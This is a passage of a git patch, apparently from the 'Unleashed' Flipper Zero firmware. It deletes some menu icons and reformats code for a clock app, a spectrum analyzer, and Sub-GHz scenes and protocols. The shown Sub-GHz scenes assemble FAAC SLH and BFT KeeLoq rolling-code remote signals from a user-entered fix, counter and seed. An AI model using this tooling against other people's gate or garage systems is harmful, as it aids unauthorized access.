a9f8fb25252233181824417b55ae516dc50c4ee0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 141 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}?w&4=AsQ2p zPCCfNpupk0{l)+K%DYM@F0f5>PqjO~MCG6clLmLVTX6=%1?}mR?o^q5Y@U$v;-Fd@ n_g@RYW}Ri4d%phsR=h~+`vXChm5a4NmN9s``njxgN@xNA+fFZO diff --git a/assets/icons/MainMenu/Snake_14/frame_rate b/assets/icons/MainMenu/Snake_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/Snake_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/icons/MainMenu/Tetris_14/frame_01.png b/assets/icons/MainMenu/Tetris_14/frame_01.png deleted file mode 100644 index 1b17a17fd19e64079a74ead00eef5db4768aab13..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 161 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}(Vi}jAsQ36 z_B(Ph7;-TCzWl%cP28(Rlf3kJzbu&K$5dW!Y|J2LwK`CnzpGKInQMW{gibEWHObBS=r%MoArkwTqW@3b#o;qpfwDhu6{1- HoD!MDBr+#u=&ro%2=Bt;BXN!H6 zsGYs!io0%nFSDq*-zw`Wb=6f9@2&i&Q&{oYZSCowS1Opfwgx^e3BLOeXbFR-tDnm{ Hr-UW|c)L3) diff --git a/assets/icons/MainMenu/Tetris_14/frame_03.png b/assets/icons/MainMenu/Tetris_14/frame_03.png deleted file mode 100644 index 66502cdb2e5c9fc33b6323f44bca9a738639f720..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 153 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}!JaOTAsQ2} zUNYo5V8G)Xxbn-t@PDzgiI4SUSGlsxu`w`gP`N2)Q1)yU`|aFv!;dlQX$`?XJNd5J z9kH_UTs*_uBU5yH&!cPh!tbx#TlSY>eq0R$Q)S*Q&xoaqfyOg=FyJ{-vhe@^O`A+6q;+b(712G`&TrYEX}!8^5qI}&a?icn o+K*-aS%9g_|dw(z=xGPflDb$lzj^wCzag S?gu~<7(8A5T-G@yGywpr$|kA+ diff --git a/assets/icons/MainMenu/Tetris_14/frame_06.png b/assets/icons/MainMenu/Tetris_14/frame_06.png deleted file mode 100644 index 2960660ba00e5f48094dcbcfec8ca8ad4e461a09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 144 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}UY;(FAsQ3U z_8;V8P~dTz|NDRaw&072qM|OlPssR9%`G-4RAS=re3^K({q43d7LOTAt{VQfab{qQ rUS|4k!($HnH#d%-`muY3e=Dnouz};F(0j9hrZRZC`njxgN@xNAeXKD; diff --git a/assets/icons/MainMenu/Tetris_14/frame_07.png b/assets/icons/MainMenu/Tetris_14/frame_07.png deleted file mode 100644 index 3704b0bf4e001c2e37bc35de85b9a3003cb1b98a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 124 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}W}YsNAsQ2t z|NQ^|zn;yALD+JZ1PDkS%9g_|dw(z=xGPflDb$lzj^wCzag S?gu~<7(8A5T-G@yGywpr$|kA+ diff --git a/assets/icons/MainMenu/Tetris_14/frame_08.png b/assets/icons/MainMenu/Tetris_14/frame_08.png deleted file mode 100644 index 2960660ba00e5f48094dcbcfec8ca8ad4e461a09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 144 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}UY;(FAsQ3U z_8;V8P~dTz|NDRaw&072qM|OlPssR9%`G-4RAS=re3^K({q43d7LOTAt{VQfab{qQ rUS|4k!($HnH#d%-`muY3e=Dnouz};F(0j9hrZRZC`njxgN@xNAeXKD; diff --git a/assets/icons/MainMenu/Tetris_14/frame_09.png b/assets/icons/MainMenu/Tetris_14/frame_09.png deleted file mode 100644 index d554b9fe9f08aa4b722f9f30403738ecc52d9f80..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R})}AhoAsQ2t z|NQ^|zn;yAfm@Nar>93E3CK-PP&!sJWAOx8_bF~O)}GjQ`Mz6IW3%>!&P|0O%6m|lSF~?Cma5mJ7_E zqHegj`Nh&lOqPqZv{OS;|Ek-a?z|UV=YG?I@# Date: Fri, 24 Jun 2022 13:01:41 +0300 Subject: [PATCH 339/461] code formatted --- applications/about/about.c | 5 +- applications/applications.c | 19 +- applications/clock_app/clock_app.c | 274 +++++++++---- .../spectrum_analyzer/spectrum_analyzer.c | 16 +- .../spectrum_analyzer_worker.c | 7 +- .../subghz/helpers/subghz_custom_event.h | 2 +- .../subghz/scenes/subghz_scene_read_raw.c | 26 +- .../subghz/scenes/subghz_scene_set_seed.c | 34 +- .../subghz/scenes/subghz_scene_set_seed_bft.c | 34 +- applications/subghz/subghz_setting.c | 4 +- applications/tetris_game/tetris_game.c | 161 ++++---- applications/wav_player/wav_player.c | 6 +- lib/subghz/protocols/came_atomo.c | 134 ++++--- lib/subghz/protocols/came_atomo.h | 5 +- lib/subghz/protocols/faac_slh.c | 111 +++--- lib/subghz/protocols/keeloq.c | 369 +++++++++--------- lib/subghz/protocols/keeloq_common.c | 6 +- lib/subghz/protocols/nice_flor_s.c | 87 +++-- lib/subghz/protocols/star_line.c | 189 ++++----- lib/toolbox/random_name.c | 13 +- 20 files changed, 843 insertions(+), 659 deletions(-) diff --git a/applications/about/about.c b/applications/about/about.c index 76c63e3b7..f82b4074b 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -58,10 +58,9 @@ static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMess DialogMessageButton result; const char* screen_header = "Unleashed Firmware\n"; - + const char* screen_text = "Play with caution.\n" - "Not for illegal use!"; - + "Not for illegal use!"; dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop); dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop); diff --git a/applications/applications.c b/applications/applications.c index 0bde62a47..13487644c 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -48,13 +48,13 @@ extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); extern int32_t wav_player_app(void* p); -extern int32_t clock_app(void *p); -extern int32_t unirfremix_app(void *p); +extern int32_t clock_app(void* p); +extern int32_t unirfremix_app(void* p); extern int32_t spectrum_analyzer_app(void* p); // Games extern int32_t snake_game_app(void* p); -extern int32_t tetris_game_app(void *p); +extern int32_t tetris_game_app(void* p); extern int32_t tictactoe_game_app(void* p); extern int32_t arkanoid_game_app(void* p); @@ -231,7 +231,7 @@ const FlipperApplication FLIPPER_APPS[] = { #endif #ifdef APP_UNIRFREMIX - {.app = unirfremix_app, + {.app = unirfremix_app, .name = "UniRF Remix", .stack_size = 2048, .icon = &A_UniRFRemix_14, @@ -239,11 +239,11 @@ const FlipperApplication FLIPPER_APPS[] = { #endif #ifdef APP_SPECTRUM_ANALYZER - {.app = spectrum_analyzer_app, - .name = "Spectrum Analyzer", - .stack_size = 1024, - .icon = &A_SpectrumAnalyzer_14, - .flags = FlipperApplicationFlagDefault}, + {.app = spectrum_analyzer_app, + .name = "Spectrum Analyzer", + .stack_size = 1024, + .icon = &A_SpectrumAnalyzer_14, + .flags = FlipperApplicationFlagDefault}, #endif #ifdef APP_LF_RFID @@ -406,7 +406,6 @@ const FlipperApplication FLIPPER_GAMES[] = { .flags = FlipperApplicationFlagDefault}, #endif - #ifdef APP_ARKANOID_GAME {.app = arkanoid_game_app, .name = "Arkanoid", diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index 4adacb889..cb4017e24 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -8,9 +8,9 @@ #define TAG "Clock" -bool timerStarted=false; -int timerSecs=0; -int songSelect=2; +bool timerStarted = false; +int timerSecs = 0; +int songSelect = 2; typedef enum { EventTypeTick, @@ -27,7 +27,7 @@ typedef struct { } ClockState; static void clock_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { - furi_assert(event_queue); + furi_assert(event_queue); PluginEvent event = {.type = EventTypeKey, .input = *input_event}; osMessageQueuePut(event_queue, &event, 0, osWaitForever); } @@ -37,11 +37,21 @@ static void clock_render_callback(Canvas* const canvas, void* ctx) { canvas_set_color(canvas, ColorBlack); ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25); char strings[3][20]; - int curMin = (timerSecs/60); - int curSec = timerSecs-(curMin *60); - sprintf(strings[0], "%.4d-%.2d-%.2d", state->datetime.year, state->datetime.month, state->datetime.day); - sprintf(strings[1], "%.2d:%.2d:%.2d", state->datetime.hour, state->datetime.minute, state->datetime.second); - sprintf(strings[2], "%.2d:%.2d", curMin , curSec); + int curMin = (timerSecs / 60); + int curSec = timerSecs - (curMin * 60); + sprintf( + strings[0], + "%.4d-%.2d-%.2d", + state->datetime.year, + state->datetime.month, + state->datetime.day); + sprintf( + strings[1], + "%.2d:%.2d:%.2d", + state->datetime.hour, + state->datetime.minute, + state->datetime.second); + sprintf(strings[2], "%.2d:%.2d", curMin, curSec); release_mutex((ValueMutex*)ctx, state); canvas_set_font(canvas, FontBigNumbers); canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); @@ -58,13 +68,13 @@ static void clock_render_callback(Canvas* const canvas, void* ctx) { } else { elements_button_center(canvas, "Start"); } - if(songSelect==0) { + if(songSelect == 0) { elements_button_right(canvas, "S:OFF"); - } else if(songSelect==1) { + } else if(songSelect == 1) { elements_button_right(canvas, "S:PoRa"); - } else if(songSelect==2) { + } else if(songSelect == 2) { elements_button_right(canvas, "S:Mario"); - } else if(songSelect==3) { + } else if(songSelect == 3) { elements_button_right(canvas, "S:ByMin"); } } @@ -74,65 +84,177 @@ static void clock_state_init(ClockState* const state) { } const NotificationSequence clock_alert_silent = { - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, NULL, + &message_force_vibro_setting_on, + &message_vibro_on, + &message_red_255, + &message_green_255, + &message_blue_255, + &message_display_backlight_on, + &message_vibro_off, + &message_display_backlight_off, + &message_delay_50, + &message_display_backlight_on, + NULL, }; const NotificationSequence clock_alert_pr1 = { &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, + &message_force_vibro_setting_on, + &message_vibro_on, + &message_red_255, + &message_green_255, + &message_blue_255, + &message_display_backlight_on, + &message_note_g5, + &message_delay_100, + &message_delay_100, + &message_delay_50, + &message_sound_off, + &message_vibro_off, + &message_display_backlight_off, + &message_delay_50, + &message_display_backlight_on, + &message_note_g5, + &message_delay_100, + &message_delay_100, + &message_delay_50, + &message_sound_off, + NULL, }; const NotificationSequence clock_alert_pr2 = { &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, - &message_note_fs5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_off, &message_vibro_off, &message_delay_50, - &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_on, &message_delay_50, - &message_note_a5, &message_delay_100, &message_delay_100, &message_sound_off, NULL, + &message_force_vibro_setting_on, + &message_vibro_on, + &message_note_fs5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_display_backlight_off, + &message_vibro_off, + &message_delay_50, + &message_note_g5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_display_backlight_on, + &message_delay_50, + &message_note_a5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + NULL, }; const NotificationSequence clock_alert_pr3 = { &message_force_speaker_volume_setting_1f, &message_display_backlight_off, - &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, NULL, + &message_note_g5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_delay_50, + &message_red_255, + &message_green_255, + &message_blue_255, + &message_display_backlight_on, + &message_delay_100, + NULL, }; const NotificationSequence clock_alert_mario1 = { &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_vibro_off, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, + &message_force_vibro_setting_on, + &message_vibro_on, + &message_red_255, + &message_green_255, + &message_blue_255, + &message_display_backlight_on, + &message_note_e5, + &message_delay_100, + &message_delay_100, + &message_delay_50, + &message_sound_off, + &message_note_e5, + &message_delay_100, + &message_delay_100, + &message_delay_50, + &message_sound_off, + &message_vibro_off, + &message_display_backlight_off, + &message_delay_100, + &message_display_backlight_on, + &message_delay_100, + &message_note_e5, + &message_delay_100, + &message_delay_100, + &message_delay_50, + &message_sound_off, + NULL, }; const NotificationSequence clock_alert_mario2 = { &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, - &message_note_c5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_off, &message_vibro_off, &message_delay_50, - &message_note_e5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_on, NULL, + &message_force_vibro_setting_on, + &message_vibro_on, + &message_display_backlight_off, + &message_delay_100, + &message_display_backlight_on, + &message_delay_100, + &message_note_c5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_display_backlight_off, + &message_vibro_off, + &message_delay_50, + &message_note_e5, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_display_backlight_on, + NULL, }; const NotificationSequence clock_alert_mario3 = { &message_force_speaker_volume_setting_1f, &message_display_backlight_off, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, - &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, - &message_note_g4, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, + &message_note_g5, + &message_delay_100, + &message_delay_100, + &message_delay_100, + &message_delay_100, + &message_sound_off, + &message_delay_50, + &message_red_255, + &message_green_255, + &message_blue_255, + &message_display_backlight_on, + &message_delay_100, + &message_note_g4, + &message_delay_100, + &message_delay_100, + &message_delay_100, + &message_delay_100, + &message_sound_off, NULL, }; const NotificationSequence clock_alert_perMin = { &message_force_speaker_volume_setting_1f, - &message_note_g5, &message_delay_100, &message_delay_50, &message_sound_off, + &message_note_g5, + &message_delay_100, + &message_delay_50, + &message_sound_off, &message_delay_10, - &message_note_g4, &message_delay_50, &message_delay_10, &message_delay_10, &message_sound_off, + &message_note_g4, + &message_delay_50, + &message_delay_10, + &message_delay_10, + &message_sound_off, NULL, }; const NotificationSequence clock_alert_startStop = { &message_force_speaker_volume_setting_1f, - &message_note_d6, &message_delay_100, &message_delay_10, &message_delay_10, &message_sound_off, NULL, + &message_note_d6, + &message_delay_100, + &message_delay_10, + &message_delay_10, + &message_sound_off, + NULL, }; // Runs every 1000ms by default @@ -141,46 +263,46 @@ static void clock_tick(void* ctx) { osMessageQueueId_t event_queue = ctx; PluginEvent event = {.type = EventTypeTick}; if(timerStarted) { - timerSecs=timerSecs+1; - if(timerSecs%60==0 && songSelect!=0) { + timerSecs = timerSecs + 1; + if(timerSecs % 60 == 0 && songSelect != 0) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_perMin); furi_record_close("notification"); } - if(songSelect==1 ) { - if(timerSecs==80) { + if(songSelect == 1) { + if(timerSecs == 80) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_pr1); furi_record_close("notification"); } - if(timerSecs==81) { + if(timerSecs == 81) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_pr2); furi_record_close("notification"); } - if(timerSecs==82) { + if(timerSecs == 82) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_pr3); furi_record_close("notification"); } - } else if(songSelect==2 ) { - if(timerSecs==80) { + } else if(songSelect == 2) { + if(timerSecs == 80) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_mario1); furi_record_close("notification"); } - if(timerSecs==81) { + if(timerSecs == 81) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_mario2); furi_record_close("notification"); } - if(timerSecs==82) { + if(timerSecs == 82) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_mario3); furi_record_close("notification"); } } else { - if(timerSecs==80) { + if(timerSecs == 80) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_silent); furi_record_close("notification"); @@ -193,14 +315,14 @@ static void clock_tick(void* ctx) { int32_t clock_app(void* p) { UNUSED(p); - timerStarted=false; - timerSecs=0; - songSelect=2; + timerStarted = false; + timerSecs = 0; + songSelect = 2; osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(PluginEvent), NULL); ClockState* plugin_state = malloc(sizeof(ClockState)); clock_state_init(plugin_state); ValueMutex state_mutex; - if (!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) { + if(!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) { FURI_LOG_E(TAG, "cannot create mutex\r\n"); free(plugin_state); return 255; @@ -216,44 +338,44 @@ int32_t clock_app(void* p) { gui_add_view_port(gui, view_port, GuiLayerFullscreen); // Main loop PluginEvent event; - for (bool processing = true; processing;) { + for(bool processing = true; processing;) { osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); - if (event_status == osOK) { + if(event_status == osOK) { // press events - if (event.type == EventTypeKey) { - if (event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { + if(event.type == EventTypeKey) { + if(event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { switch(event.input.key) { case InputKeyUp: - if(timerStarted) timerSecs=timerSecs+5; + if(timerStarted) timerSecs = timerSecs + 5; break; case InputKeyDown: - if(timerStarted) timerSecs=timerSecs-5; + if(timerStarted) timerSecs = timerSecs - 5; break; case InputKeyRight: - if(songSelect==0) { - songSelect=1; - } else if(songSelect==1) { - songSelect=2; - } else if(songSelect==2) { - songSelect=3; + if(songSelect == 0) { + songSelect = 1; + } else if(songSelect == 1) { + songSelect = 2; + } else if(songSelect == 2) { + songSelect = 3; } else { - songSelect=0; + songSelect = 0; } break; case InputKeyLeft: break; - case InputKeyOk: - if(songSelect==1 || songSelect==2 || songSelect==3) { + case InputKeyOk: + if(songSelect == 1 || songSelect == 2 || songSelect == 3) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_startStop); furi_record_close("notification"); } if(timerStarted) { - timerStarted=false; - timerSecs=0; + timerStarted = false; + timerSecs = 0; } else { - timerStarted=true; + timerStarted = true; } break; case InputKeyBack: diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index ef07c057a..1002b58a6 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -124,11 +124,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { // Current mode label char tmp_str[21]; - snprintf( - tmp_str, - 21, - "Mode: %s", - temp_mode_str); + snprintf(tmp_str, 21, "Mode: %s", temp_mode_str); canvas_draw_str_aligned(canvas, 127, 4, AlignRight, AlignTop, tmp_str); } // Draw cross and label @@ -167,7 +163,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { "Peak: %3.2f Mhz %3.1f dbm", ((double)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / 1000000), - (double) model->max_rssi); + (double)model->max_rssi); canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); } @@ -479,13 +475,13 @@ int32_t spectrum_analyzer_app(void* p) { model->width = WIDE; break; } - } - + } + model->mode_change = true; view_port_update(spectrum_analyzer->view_port); - + furi_hal_delay_ms(1000); - + model->mode_change = false; spectrum_analyzer_calculate_frequencies(model); spectrum_analyzer_worker_set_frequencies( diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c index 553170131..3e182071b 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -87,11 +87,8 @@ static int32_t spectrum_analyzer_worker_thread(void* context) { instance->max_rssi_dec = 0; // Visit each channel non-consecutively - for( - uint8_t ch_offset = 0, chunk = 0; - ch_offset < CHUNK_SIZE; - ++chunk >= NUM_CHUNKS && ++ch_offset && (chunk = 0) - ) { + for(uint8_t ch_offset = 0, chunk = 0; ch_offset < CHUNK_SIZE; + ++chunk >= NUM_CHUNKS && ++ch_offset && (chunk = 0)) { uint8_t ch = chunk * CHUNK_SIZE + ch_offset; furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 965b22b20..ee0ac4584 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -66,6 +66,6 @@ typedef enum { SubGhzCustomEventViewTransmitterSendStart, SubGhzCustomEventViewTransmitterSendStop, SubGhzCustomEventViewTransmitterError, - + SubGhzCustomEventByteInputDone, } SubGhzCustomEvent; diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index ffc545455..0577fbee3 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -247,10 +247,15 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { FuriHalRtcDateTime datetime; furi_hal_rtc_get_datetime(&datetime); char strings[1][25]; - sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "R" - , datetime.year, datetime.month, datetime.day - , datetime.hour, datetime.minute - ); + sprintf( + strings[0], + "%s%.4d%.2d%.2d%.2d%.2d", + "R", + datetime.year, + datetime.month, + datetime.day, + datetime.hour, + datetime.minute); string_printf( temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, strings[0], SUBGHZ_APP_EXTENSION); @@ -277,10 +282,15 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { FuriHalRtcDateTime datetime; furi_hal_rtc_get_datetime(&datetime); char strings[1][25]; - sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "R" - , datetime.year, datetime.month, datetime.day - , datetime.hour, datetime.minute - ); + sprintf( + strings[0], + "%s%.4d%.2d%.2d%.2d%.2d", + "R", + datetime.year, + datetime.month, + datetime.day, + datetime.hour, + datetime.minute); if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, strings[0], diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 51bb1c74b..5d8f29715 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -32,15 +32,18 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { bool generated_protocol = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - - uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | - subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + uint32_t fix_part = + subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | + subghz->txrx->secure_data->cnt[1]; + + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | + subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | + subghz->txrx->secure_data->seed[3]; - uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | - subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { @@ -54,21 +57,22 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - + uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; - } + } + + flipper_format_write_hex( + subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - generated_protocol = true; } else { generated_protocol = false; } subghz_transmitter_free(subghz->txrx->transmitter); - + if(!generated_protocol) { string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); @@ -76,7 +80,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { } consumed = true; } - + if(generated_protocol) { subghz_file_name_clear(subghz); DOLPHIN_DEED(DolphinDeedSubGhzAddManually); @@ -86,12 +90,12 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { return true; } } - return consumed;; + return consumed; } void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - + // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_seed_bft.c b/applications/subghz/scenes/subghz_scene_set_seed_bft.c index 723c352dc..21c1bb715 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed_bft.c +++ b/applications/subghz/scenes/subghz_scene_set_seed_bft.c @@ -32,15 +32,18 @@ bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) bool generated_protocol = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - - uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | - subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + uint32_t fix_part = + subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | + subghz->txrx->secure_data->cnt[1]; + + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | + subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | + subghz->txrx->secure_data->seed[3]; - uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | - subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "KeeLoq"); if(subghz->txrx->transmitter) { @@ -54,21 +57,22 @@ bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) "BFT", 433920000, FuriHalSubGhzPresetOok650Async); - + uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; - } + } + + flipper_format_write_hex( + subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - generated_protocol = true; } else { generated_protocol = false; } subghz_transmitter_free(subghz->txrx->transmitter); - + if(!generated_protocol) { string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); @@ -76,7 +80,7 @@ bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) } consumed = true; } - + if(generated_protocol) { subghz_file_name_clear(subghz); DOLPHIN_DEED(DolphinDeedSubGhzAddManually); @@ -86,12 +90,12 @@ bool 